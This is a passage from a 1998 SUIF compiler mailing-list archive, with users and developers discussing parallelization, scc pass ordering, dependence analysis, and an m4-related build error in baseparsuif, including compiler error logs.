processors. To parallelize the loops, Does SUIF does the calculation of 'communication overheads' on various processors ? If yes, which part of the code does that ? -Thanks. ---- Alok Agarwal, Senior Undergraduate , CSE , A-120/I , I.I.T. Kanpur E-mail: alokka@iitk.ac.in alokka@rocketmail.com >From owner-suif-talk Tue Nov 3 22:16:39 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id WAA28421 for suif-talk-doit; Tue, 3 Nov 1998 22:16:37 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id WAA28417 for ; Tue, 3 Nov 1998 22:16:36 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id WAA02064; Tue, 3 Nov 1998 22:11:50 -0800 (PST) Date: Tue, 3 Nov 98 22:11:50 PST From: Chris Wilson To: Alok Agarwal Cc: suif-talk@corsica.Stanford.EDU Subject: Re: baseparsuif In-Reply-To: Your message of Wed, 4 Nov 1998 11:33:23 +0530 (IST) Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > Installing baseparsuif-1.0.0.beta.1 gives some errors > like : > runtime_seq.c:1304: parse error before `$' > > Do you know how to get across the problem ? > > ---- > Alok Agarwal, Let me guess, you're installing it on a Linux system. This is a known problem. It's caused by an incompatibility between the GNU version of m4 and standard m4. There is an option you can give to the GNU m4 to make it behave as standard m4. There's an environment variable you can set to have the makefiles automatically pass that along to m4 (see the Makefiles). Perhaps someone can look this up in the mailing list archives and send out more details. --Chris >From owner-suif-talk Tue Nov 3 22:17:29 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id WAA28433 for suif-talk-doit; Tue, 3 Nov 1998 22:17:26 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id WAA28429 for ; Tue, 3 Nov 1998 22:17:25 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id WAA02520; Tue, 3 Nov 1998 22:16:56 -0800 (PST) Date: Tue, 3 Nov 98 22:16:56 PST From: Chris Wilson To: Alok Agarwal Cc: suif-talk@corsica.Stanford.EDU Subject: Re: Some questions In-Reply-To: Your message of Wed, 4 Nov 1998 11:38:31 +0530 (IST) Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > I have some questions about SUIF loop optimizations : > As you have already said all the optimizations are concerning > parallelizations only, so how does it handles the data distribution and > loop breaking on different processors. Suppose that I have to parallelize > a program and use PVM to run the program on different processors. > > To parallelize the loops, Does SUIF does the calculation of > 'communication overheads' on various processors ? If yes, which part of > the code does that ? > > -Thanks. > ---- > Alok Agarwal, All the currently released SUIF parallelization uses a shared memory model. No explicit model of communication costs is used. In the released code, it generally goes for the largest granularity of parallelism available and uses it without regard to communications, though there are mechanisms for turning off parallelization of loops that cause slowdowns. There are various experimental projects at Stanford that have taken data distribution into account, but these are not yet publicly available. --Chris >From owner-suif-talk Wed Nov 4 08:04:36 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA29623 for suif-talk-doit; Wed, 4 Nov 1998 08:03:50 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA29619 for ; Wed, 4 Nov 1998 08:03:48 -0800 (PST) Received: from gigue.eas.harvard.edu (gigue.eas.harvard.edu [140.247.51.194]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id LAA17158; Wed, 4 Nov 1998 11:03:57 -0500 (EST) Received: (from holloway@localhost) by gigue.eas.harvard.edu (8.9.1/8.9.1) id LAA09117; Wed, 4 Nov 1998 11:03:57 -0500 (EST) From: Glenn Holloway MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13888.31468.712437.64050@gigue.eas.harvard.edu> Date: Wed, 4 Nov 1998 11:03:56 -0500 (EST) To: suif-talk@corsica.Stanford.EDU Subject: Re: suif 2.0 optimizations In-Reply-To: References: X-Mailer: VM 6.46 under Emacs 19.34.1 CC: Daniel Wang Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Glenn Holloway Dan Wang writes: > some very basic questions. > For the basesuif.alpha-2.0.0.720 > > 1. Does scc -O actually do any optimizations? > 2. How can I get an optimized version of a C program in suif 2.0 format? > 3. What scalar opts can suif 1/2 currently do. In Machine SUIF 1, we have scalar optimization passes including dead code elimination, constant and copy propagation, and common subexpression elimination. We haven't released these; we're con- verting them to Machine SUIF 2, which is nearing an alpha release. (Some of the interface documents for Machine SUIF 2 can already be viewed at http://www.eecs.harvard.edu/machsuif/.) Machine SUIF 2 will be an integral part of the new SUIF system. Colleagues at Rice have been working with us to develop scalar optimizations that can operate at both the machine-specific and machine-independent levels. > 4. How does scc compile code (covert back to c and use native compiler?) Machine SUIF 2 will have a C back end of its own, as well as one for the Digital Alpha and Intel x86. The C and Alpha back ends are working now. Glenn Holloway holloway@eecs.harvard.edu >From owner-suif-talk Wed Nov 4 13:47:05 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id NAA04702 for suif-talk-doit; Wed, 4 Nov 1998 13:46:44 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id NAA04698 for ; Wed, 4 Nov 1998 13:46:31 -0800 (PST) Received: from bhaskar.cc.iitk.ernet.in (bhaskar.cc.iitk.ernet.in [144.16.167.7]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id DAA10559; Thu, 5 Nov 1998 03:16:01 +0530 Date: Thu, 5 Nov 1998 03:17:14 +0530 (IST) From: Alok Agarwal X-Sender: alokka@bhaskar.cc.iitk.ernet.in To: Chris Wilson cc: suif-talk@corsica.Stanford.EDU Subject: Re: Some questions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal > > All the currently released SUIF parallelization uses a shared memory > model. No explicit model of communication costs is used. In the > released code, it generally goes for the largest granularity of > parallelism available and uses it without regard to communications, > though there are mechanisms for turning off parallelization of loops > that cause slowdowns. Can you tell me how to turn off those and which part of the code handles that. -Alok Agarwal. >From owner-suif-talk Thu Nov 5 14:44:12 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id OAA12425 for suif-talk-doit; Thu, 5 Nov 1998 14:43:00 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from turing.une.edu.au (turing.une.edu.au [129.180.11.17]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id OAA12421 for ; Thu, 5 Nov 1998 14:42:57 -0800 (PST) Received: from mcs.une.edu.au (localhost [127.0.0.1]) by turing.une.edu.au (8.8.5/8.8.5) with ESMTP id JAA04963; Fri, 6 Nov 1998 09:43:03 +1100 (EST) Message-ID: <364229F6.63E8549E@mcs.une.edu.au> Date: Fri, 06 Nov 1998 09:43:03 +1100 From: Shiping Chen Organization: University of New England, Australia X-Mailer: Mozilla 4.05 [en] (X11; I; OSF1 V4.0 alpha) MIME-Version: 1.0 To: Chris Wilson , suif-talk@corsica.Stanford.EDU Subject: Re: About scc References: Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 7bit Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Shiping Chen Chris Wilson wrote: > You should run ``scc -V file.f -.spd''. This will run sf2c and then > snoot but then it will run some passes to recover the symbolic > information. sf2c does linearize array references, but it keeps the > information around encoded in assignments to specially named > variables. The fixfortran pass uses this information to reconstruct > the array information. Thank you, Chris. It works now. Now I want to select some passes, say, pass1and pass2, and reorder them, such as pass1->pass2 or pass2->pass1. Could you tell me how to do that with `scc'. Do I need recode `scc'? Thank you! _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ Shiping Chen School of Mathematical and Computer Sciences University of New England (UNE) Armidale, NSW 2351, Australia Tel : +61 (0)2 6773 3935 Fax : +61 (0)2 6773 3312 Email: shiping@cs.une.edu.au Web : http://cs.une.edu.au/~shiping _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ >From owner-suif-talk Thu Nov 5 16:02:11 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id QAA12662 for suif-talk-doit; Thu, 5 Nov 1998 16:01:59 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id QAA12658 for ; Thu, 5 Nov 1998 16:01:58 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id QAA28624; Thu, 5 Nov 1998 16:02:01 -0800 (PST) Date: Thu, 5 Nov 98 16:02:01 PST From: Chris Wilson To: Shiping Chen Cc: suif-talk@corsica.Stanford.EDU Subject: Re: About scc In-Reply-To: Your message of Fri, 06 Nov 1998 09:43:03 +1100 Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > Chris Wilson wrote: > > > You should run ``scc -V file.f -.spd''. This will run sf2c and then > > snoot but then it will run some passes to recover the symbolic > > information. sf2c does linearize array references, but it keeps the > > information around encoded in assignments to specially named > > variables. The fixfortran pass uses this information to reconstruct > > the array information. > > Thank you, Chris. It works now. > > Now I want to select some passes, say, pass1and pass2, > and reorder them, such as pass1->pass2 or pass2->pass1. > Could you tell me how to do that with `scc'. Do I need recode `scc'? > > Thank you! > > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ > > Shiping Chen The easiest way is to create a little shell script to run the passes manually yourself. The table of passes that scc uses is in commands.def. There's a comment at the top of the file describing the format. From the comments and the entries that are already there, you should be able to figure out how to reorder and add or remove passes. Then you can recompile scc and it will use your new set of passes. The shell script is probably easier. --Chris >From owner-suif-talk Fri Nov 6 03:00:42 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id CAA13853 for suif-talk-doit; Fri, 6 Nov 1998 02:59:37 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from sicmail.epfl.ch (sicmail.epfl.ch [128.178.50.31]) by corsica.Stanford.EDU (8.9.1/8.9.1) with SMTP id CAA13849 for ; Fri, 6 Nov 1998 02:59:33 -0800 (PST) Received: from epfl.ch (actually c3ipc11.epfl.ch) by sicmail with SMTP (local); Fri, 6 Nov 1998 11:58:30 +0100 Message-ID: <3642D619.D6BB7744@epfl.ch> Date: Fri, 06 Nov 1998 11:57:29 +0100 From: Michel Thomas Organization: EPFL DE-C3I X-Mailer: Mozilla 4.05 [en] (WinNT; I) MIME-Version: 1.0 To: SUIF Mailing list Subject: Compile output C file Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Michel Thomas I compile one C file with pscc command with -.spd option. After that, I convert the binary SUIF file in C with s2c command. I would like to compile this output C file with a common compiler like gcc or cc. But I have to link other SUIF binary files which contains the definition of function like suif_named_doall(). Is there a problem with the installation of one SUIF package? Thanks, Michel -- ----------------------------------------------------------------------- Michel THOMAS Swiss Federal Instute of Technology EPFL-DE Integrated Systems Center (C3I) CH-1015 Ecublens - Switzerland Phone +41 (0) 21 693 69 80 mailto:michel.thomas@epfl.ch Fax +41 (0) 21 693 46 63 ----------------------------------------------------------------------- >From owner-suif-talk Fri Nov 6 10:46:08 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id KAA14696 for suif-talk-doit; Fri, 6 Nov 1998 10:45:47 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from fox.doc.ic.ac.uk (fox.doc.ic.ac.uk [146.169.1.1]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id KAA14692 for ; Fri, 6 Nov 1998 10:45:45 -0800 (PST) Received: from boitano.doc.ic.ac.uk ([146.169.29.151] helo=doc.ic.ac.uk) by fox.doc.ic.ac.uk with esmtp (Exim 1.92 #1) id 0zbqtT-0002EK-00; Fri, 6 Nov 1998 18:45:59 +0000 Message-ID: <364343E7.884902B4@doc.ic.ac.uk> Date: Fri, 06 Nov 1998 18:45:59 +0000 From: Markus Weinhardt Organization: Imperial College, London X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.0.34 i686) MIME-Version: 1.0 To: suif-talk@corsica.Stanford.EDU Subject: Documentation for dependences/Unrolling/Inlining Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Markus Weinhardt Hello, I'm trying to interpret the output of example program 4 in SUIF Cookbook, where dependences are described by expressions like (+ * -8). Unfortunately, I could not find an explanation for those symbols in the Cookbook or the Dependence Library documentation. Can anybody explain their meaning? On another topic, are there any implementations for loop unrolling or procedure inlining (selective, i.e. controlled by the pass or by annotations) available? Thanks and regards, Markus Weinhardt -- Dr. Markus Weinhardt, Department of Computing, Imperial College 180 Queen's Gate, London SW7 2BZ, UK - m.weinhardt@doc.ic.ac.uk Tel. +44-171-5948186 Fax +44-171-5818024 Mob. +44-961-301558 >From owner-suif-talk Fri Nov 6 14:08:12 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id OAA15115 for suif-talk-doit; Fri, 6 Nov 1998 14:07:49 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id OAA15111 for ; Fri, 6 Nov 1998 14:07:47 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id OAA08799; Fri, 6 Nov 1998 14:07:59 -0800 (PST) Date: Fri, 6 Nov 98 14:07:58 PST From: Chris Wilson To: Michel Thomas Cc: SUIF Mailing list Subject: Re: Compile output C file In-Reply-To: Your message of Fri, 06 Nov 1998 11:57:29 +0100 Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > I compile one C file with pscc command with -.spd option. After that, I > convert the binary SUIF file in C with s2c command. > I would like to compile this output C file with a common compiler > like gcc or cc. But I have to link other SUIF binary files which > contains > the definition of function like suif_named_doall(). > Is there a problem with the installation of one SUIF package? > > Thanks, > Michel suif_named_doall() is one of the functions in the SUIF parallel runtime library named ``runtime''. pscc runs a pass called pgen and generates parallel code using this runtime interface. You will need to link with this runtime library compiled for your target platform. --Chris >From owner-suif-talk Fri Nov 6 18:15:24 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id SAA15596 for suif-talk-doit; Fri, 6 Nov 1998 18:13:57 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from turing.une.edu.au (turing.une.edu.au [129.180.11.17]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id SAA15592 for ; Fri, 6 Nov 1998 18:13:50 -0800 (PST) Received: from mcs.une.edu.au (localhost [127.0.0.1]) by turing.une.edu.au (8.8.5/8.8.5) with ESMTP id NAA29939; Sat, 7 Nov 1998 13:13:31 +1100 (EST) Message-ID: <3643ACCA.4577B3EB@mcs.une.edu.au> Date: Sat, 07 Nov 1998 13:13:30 +1100 From: Shiping Chen Organization: University of New England, Australia X-Mailer: Mozilla 4.05 [en] (X11; I; OSF1 V4.0 alpha) MIME-Version: 1.0 To: cwilson@cs.stanford.edu, suif-talk@corsica.Stanford.EDU Subject: Statistics for dependence patterns of Benchmarks Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 7bit Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Shiping Chen Chris Wilson wrote: > The easiest way is to create a little shell script to run the passes > manually yourself. Thank you, Chirs, for your good idea. I am doing statistics for dependence patterns of some benchmarks (Perfect and Nas). I found out that the most loops in these benchmarks either have no dependencies (parallel loops) or have the dependencies with many stars, such as: (+, *, *). This makes many loop transformations invalid. I wonder if you made the same observation, or if my statistical program is incorrect. Do you have such a program to provide us? Thank you very much! _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ Shiping Chen School of Mathematical and Computer Sciences University of New England (UNE) Armidale, NSW 2351, Australia Tel : +61 (0)2 6773 3935 Fax : +61 (0)2 6773 3312 Email: shiping@cs.une.edu.au Web : http://cs.une.edu.au/~shiping _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ >From owner-suif-talk Fri Nov 6 21:07:52 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id VAA15803 for suif-talk-doit; Fri, 6 Nov 1998 21:07:03 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from beowulf.ucsd.edu (beowulf.ucsd.edu [132.239.17.2]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id VAA15799 for ; Fri, 6 Nov 1998 21:07:01 -0800 (PST) Received: (from mitchell@localhost) by beowulf.ucsd.edu (8.8.6/8.8.6) id VAA29475 for suif-talk@corsica.Stanford.EDU; Fri, 6 Nov 1998 21:07:18 -0800 (PST) Date: Fri, 6 Nov 1998 21:07:18 -0800 (PST) From: Nick Mitchell Message-Id: <199811070507.VAA29475@beowulf.ucsd.edu> To: suif-talk@corsica.Stanford.EDU Subject: Re: Statistics for dependence patterns of Benchmarks Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Nick Mitchell > either have no dependencies (parallel loops) or have the dependencies > with many stars, such as: (+, *, *). This makes many loop transformations > invalid. Hi Shiping, While data depenence analysis in SUIF1 (at least the released version) is a little on the weak side (it doesn't, for example, support dataflow dependence analysis), many of the core NAS benchmarks are just pernicious in the way you have observed. For example, both CG and IS include indirect memory references (the former in a sparse matrix-vector product and the latter in the tally phase of the integer sort). EP, though embarrasingly parallel, also includes non-affine array references. This does not, however, mean they are not optimizable. :) nick >From owner-suif-talk Tue Nov 10 09:27:30 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id JAA23133 for suif-talk-doit; Tue, 10 Nov 1998 09:25:10 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from poste.uqac.uquebec.ca (poste.uqac.uquebec.ca [132.212.11.73]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id JAA23129 for ; Tue, 10 Nov 1998 09:25:06 -0800 (PST) Received: from dsaermetis.uqac.uquebec.ca (dsaermetis.uqac.uquebec.ca [132.212.200.93]) by poste.uqac.uquebec.ca (8.8.4/8.7.3) with SMTP id MAA26144 for ; Tue, 10 Nov 1998 12:24:54 -0500 (EST) Received: from uqac.uquebec.ca by dsaermetis.uqac.uquebec.ca (SMI-8.6/SMI-SVR4) id MAA02032; Tue, 10 Nov 1998 12:24:54 -0500 Message-ID: <364876E4.B8E1D683@uqac.uquebec.ca> Date: Tue, 10 Nov 1998 12:24:53 -0500 From: Levis Theriault X-Mailer: Mozilla 4.06 [en] (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: suif-talk@corsica.Stanford.EDU Subject: baseparsuif-1.0.0.beta.2 Content-Type: multipart/mixed; boundary=""------------C1ACA614AEFFE149CDB4B799"" Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Levis Theriault This is a multi-part message in MIME format. --------------C1ACA614AEFFE149CDB4B799 Content-Type: multipart/alternative; boundary=""------------310790E33B8EEC2F82454366"" --------------310790E33B8EEC2F82454366 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I'd like to know more about it onto the install package ""baseparsuif-1.0.0.beta.2"", because not compiled the package baseparsuif. The use operating system is SOLARIS 2.4. The package is installed success: basesuif-1.1.2 and suifbuilder-1.0.0.beta.1. The caracter ""$"" in the file runtime_seq.c is a problem. Chek the attachment file for the error of the make install. What is the problem here? Regards, Levis. -- ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************ --------------310790E33B8EEC2F82454366 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I'd like to know more about it onto the install package ""baseparsuif-1.0.0.beta.2"", because not compiled the package baseparsuif. The use operating system is SOLARIS 2.4. The package is installed success: basesuif-1.1.2 and suifbuilder-1.0.0.beta.1. The caracter ""$"" in the file runtime_seq.c is a problem. Chek the attachment file for the error of the make install. What is the problem here? Regards, Levis. --  ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************   --------------310790E33B8EEC2F82454366-- --------------C1ACA614AEFFE149CDB4B799 Content-Type: text/plain; charset=us-ascii; name=""error_compiler.txt"" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=""error_compiler.txt"" suif-recursive-make: gmake gmake[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/baseparsuif-1.0.0.beta.2/runtime' gcc -c -g -Wall -I/nfs/dsa/sug7/suif/basesuif-1.1.2/include -DSTATS -lthread runtime_seq.c runtime_seq.c: In function `main': runtime_seq.c:623: parse error before `$' runtime_seq.c: In function `suif_wait_for_end': runtime_seq.c:1105: parse error before `$' runtime_seq.c:1113: parse error before `$' runtime_seq.c:1100: warning: unused variable `hi_res_end_time' runtime_seq.c: In function `suif_reset_stats': runtime_seq.c:1258: parse error before `$' runtime_seq.c: In function `suif_serial': runtime_seq.c:1307: parse error before `$' runtime_seq.c:1513: parse error before `$' runtime_seq.c:1521: parse error before `$' runtime_seq.c:1508: warning: unused variable `hi_res_end_time' runtime_seq.c:1296: warning: unused variable `partime_hi_res' runtime_seq.c: In function `suif_doall': runtime_seq.c:1605: parse error before `$' runtime_seq.c:1816: parse error before `$' runtime_seq.c:1824: parse error before `$' runtime_seq.c:1811: warning: unused variable `hi_res_end_time' runtime_seq.c:1594: warning: unused variable `partime_hi_res' runtime_seq.c: In function `suif_hi_res_clock': runtime_seq.c:2405: parse error before `$' runtime_seq.c:2403: warning: unused variable `itime' runtime_seq.c: In function `suif_start_timer': runtime_seq.c:2424: parse error before `$' runtime_seq.c: In function `suif_end_timer': runtime_seq.c:2438: parse error before `$' runtime_seq.c:2446: parse error before `$' runtime_seq.c:2433: warning: unused variable `hi_res_end_time' runtime_seq.c: In function `rcinld_': runtime_seq.c:5232: warning: missing braces around initializer for `(anonymous).__convert_long_double_i' runtime_seq.c: In function `rcixld_': runtime_seq.c:5245: warning: missing braces around initializer for `(anonymous).__convert_long_double_i' runtime_seq.c: At top level: runtime_seq.c:1994: warning: `_barrier' defined but not used runtime_seq.c:2006: warning: `_barrier2' defined but not used runtime_seq.c:384: warning: `alltime_hi_res' defined but not used runtime_seq.c:2381: warning: `hi_res_start_time' defined but not used gmake[2]: *** [runtime_seq.o] Error 1 gmake[1]: *** [libruntime_seq.a] Error 2 gmake[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/baseparsuif-1.0.0.beta.2/runtime' gmake: *** [recursive] Error 1 --------------C1ACA614AEFFE149CDB4B799-- >From owner-suif-talk Tue Nov 10 11:01:36 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id LAA23477 for suif-talk-doit; Tue, 10 Nov 1998 11:01:23 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id LAA23473 for ; Tue, 10 Nov 1998 11:01:07 -0800 (PST) Received: from apah.cc.iitk.ernet.in (apah.cc.iitk.ernet.in [144.16.167.6]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id AAA00341; Wed, 11 Nov 1998 00:30:04 +0530 Date: Wed, 11 Nov 1998 00:31:06 +0530 (IST) From: Alok Agarwal X-Sender: alokka@apah.cc.iitk.ernet.in To: Levis Theriault cc: suif-talk@corsica.Stanford.EDU Subject: Re: baseparsuif-1.0.0.beta.2 In-Reply-To: <364876E4.B8E1D683@uqac.uquebec.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal Hi all, I am also facing the same problem. I am using LINUX OS. As suggested by Chris, I searched for m4 in Makefiles, but there were none. So please tell me hoe to get across the problem. -Bye. ---- Alok Agarwal, Senior Undergraduate , CSE , A-120/I , I.I.T. Kanpur E-mail: alokka@iitk.ac.in alokka@rocketmail.com On Tue, 10 Nov 1998, Levis Theriault wrote: [NON-Text Body part not included] >From owner-suif-talk Tue Nov 10 11:44:42 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id LAA23549 for suif-talk-doit; Tue, 10 Nov 1998 11:44:30 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id LAA23545 for ; Tue, 10 Nov 1998 11:44:28 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id LAA18423; Tue, 10 Nov 1998 11:43:13 -0800 (PST) Date: Tue, 10 Nov 98 11:43:12 PST From: Chris Wilson To: Alok Agarwal Cc: Levis Theriault , suif-talk@corsica.Stanford.EDU Subject: Re: baseparsuif-1.0.0.beta.2 In-Reply-To: Your message of Wed, 11 Nov 1998 00:31:06 +0530 (IST) Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > Hi all, > I am also facing the same problem. I am using LINUX OS. > As suggested by Chris, I searched for m4 in Makefiles, but > there were none. So please tell me hoe to get across the > problem. > > -Bye. Here's a message on the subject that I found in the SUIF mailing list archive: http://suif.stanford.edu/suif/mlists/suif-bugs/199607/19960711.html Please let me know if there is still a problem. --Chris >From owner-suif-talk Tue Nov 10 12:24:42 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id MAA23652 for suif-talk-doit; Tue, 10 Nov 1998 12:24:35 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id MAA23648 for ; Tue, 10 Nov 1998 12:24:15 -0800 (PST) Received: from apah.cc.iitk.ernet.in (apah.cc.iitk.ernet.in [144.16.167.6]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id BAA01284; Wed, 11 Nov 1998 01:48:52 +0530 Date: Wed, 11 Nov 1998 01:49:54 +0530 (IST) From: Alok Agarwal X-Sender: alokka@apah.cc.iitk.ernet.in To: Chris Wilson cc: Levis Theriault , suif-talk@corsica.Stanford.EDU Subject: Re: baseparsuif-1.0.0.b In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal > > Here's a message on the subject that I found in the SUIF mailing list > archive: > > http://suif.stanford.edu/suif/mlists/suif-bugs/199607/19960711.html > > Please let me know if there is still a problem. > > --Chris That problem goes but following error message comes .... -Thanks. -------------------------------------------------------------- runtime_seq.c:66: parse error before `!' In file included from /usr/include/stdlib.h:210, from runtime_seq.c:221: /usr/include/sys/types.h:33: parse error before `u_char' /usr/include/sys/types.h:33: warning: data definition has no type or storage class runtime_seq.c: In function `suif_wait_for_end': runtime_seq.c:1110: invalid lvalue in assignment runtime_seq.c:1111: invalid lvalue in assignment runtime_seq.c:1112: invalid lvalue in assignment runtime_seq.c: In function `suif_serial': runtime_seq.c:1518: invalid lvalue in assignment runtime_seq.c:1519: invalid lvalue in assignment runtime_seq.c:1520: invalid lvalue in assignment runtime_seq.c: In function `suif_doall': runtime_seq.c:1821: invalid lvalue in assignment runtime_seq.c:1822: invalid lvalue in assignment runtime_seq.c:1823: invalid lvalue in assignment runtime_seq.c: In function `suif_hi_res_clock': runtime_seq.c:2404: invalid lvalue in assignment runtime_seq.c:2405: invalid lvalue in assignment runtime_seq.c:2406: invalid lvalue in assignment runtime_seq.c: In function `suif_end_timer': runtime_seq.c:2443: invalid lvalue in assignment runtime_seq.c:2444: 